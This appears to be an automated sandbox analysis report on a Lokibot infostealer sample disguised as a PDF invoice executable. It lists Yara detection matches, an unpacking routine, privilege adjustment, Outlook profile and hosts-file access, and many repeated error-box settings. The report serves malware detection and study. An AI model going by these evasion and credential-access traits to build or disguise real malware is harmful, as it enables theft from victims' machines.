Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.240549132.00000000071F2000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: 0_2_0158C0F4	0_2_0158C0F4
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: 0_2_0158E538	0_2_0158E538
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: 0_2_0158E528	0_2_0158E528
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: 0_2_054F5C28	0_2_054F5C28
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: 1_2_0040549C	1_2_0040549C
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: 1_2_004029D4	1_2_004029D4

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: String function: 00405B6F appears 42 times

Source: PI_Nov9071011998_ENTRUSTpdf.exe	Binary or memory string: OriginalFilename vs PI_Nov9071011998_ENTRUSTpdf.exe
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.241253841.0000000008720000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameB2B.exe4 vs PI_Nov9071011998_ENTRUSTpdf.exe
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.234566938.0000000000C12000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameTM.exe8 vs PI_Nov9071011998_ENTRUSTpdf.exe
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000000.00000002.235301021.0000000002F31000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameMARCUS.dll4 vs PI_Nov9071011998_ENTRUSTpdf.exe
Source: PI_Nov9071011998_ENTRUSTpdf.exe	Binary or memory string: OriginalFilename vs PI_Nov9071011998_ENTRUSTpdf.exe
Source: PI_Nov9071011998_ENTRUSTpdf.exe, 00000001.00000002.500459878.0000000000A62000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameTM.exe8 vs PI_Nov9071011998_ENTRUSTpdf.exe
Source: PI_Nov9071011998_ENTRUSTpdf.exe	Binary or memory string: OriginalFilenameTM.exe8 vs PI_Nov9071011998_ENTRUSTpdf.exe

Source: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research

Source: PI_Nov9071011998_ENTRUSTpdf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/3@302/2

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Code function: 1_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

1_2_0040650A

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Code function: 1_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

1_2_0040434D

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PI_Nov9071011998_ENTRUSTpdf.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430

Source: PI_Nov9071011998_ENTRUSTpdf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: PI_Nov9071011998_ENTRUSTpdf.exe

Virustotal: Detection: 20%

Source: unknown	Process created: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe 'C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe'
Source: unknown	Process created: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe {path}
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process created: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe {path}	Jump to behavior

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source: PI_Nov9071011998_ENTRUSTpdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PI_Nov9071011998_ENTRUSTpdf.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: PI_Nov9071011998_ENTRUSTpdf.exe, telaPrincipal.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.PI_Nov9071011998_ENTRUSTpdf.exe.c10000.0.unpack, telaPrincipal.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.PI_Nov9071011998_ENTRUSTpdf.exe.c10000.0.unpack, telaPrincipal.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.0.PI_Nov9071011998_ENTRUSTpdf.exe.a60000.0.unpack, telaPrincipal.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.a60000.1.unpack, telaPrincipal.cs	.Net Code: dddddddddddd System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Yara detected aPLib compressed binary

Show sources

Source: Yara match	File source: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PI_Nov9071011998_ENTRUSTpdf.exe PID: 3476, type: MEMORY
Source: Yara match	File source: Process Memory Space: PI_Nov9071011998_ENTRUSTpdf.exe PID: 5572, type: MEMORY
Source: Yara match	File source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PI_Nov9071011998_ENTRUSTpdf.exe.400000.0.unpack, type: UNPACKEDPE

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: 0_2_00C16283 push cs; retf	0_2_00C16284
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: 1_2_00402AC0 push eax; ret	1_2_00402AD4
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: 1_2_00402AC0 push eax; ret	1_2_00402AFC
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Code function: 1_2_00A66283 push cs; retf	1_2_00A66284

Source: initial sample

Static PE information: section name: .text entropy: 7.69094003544

Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
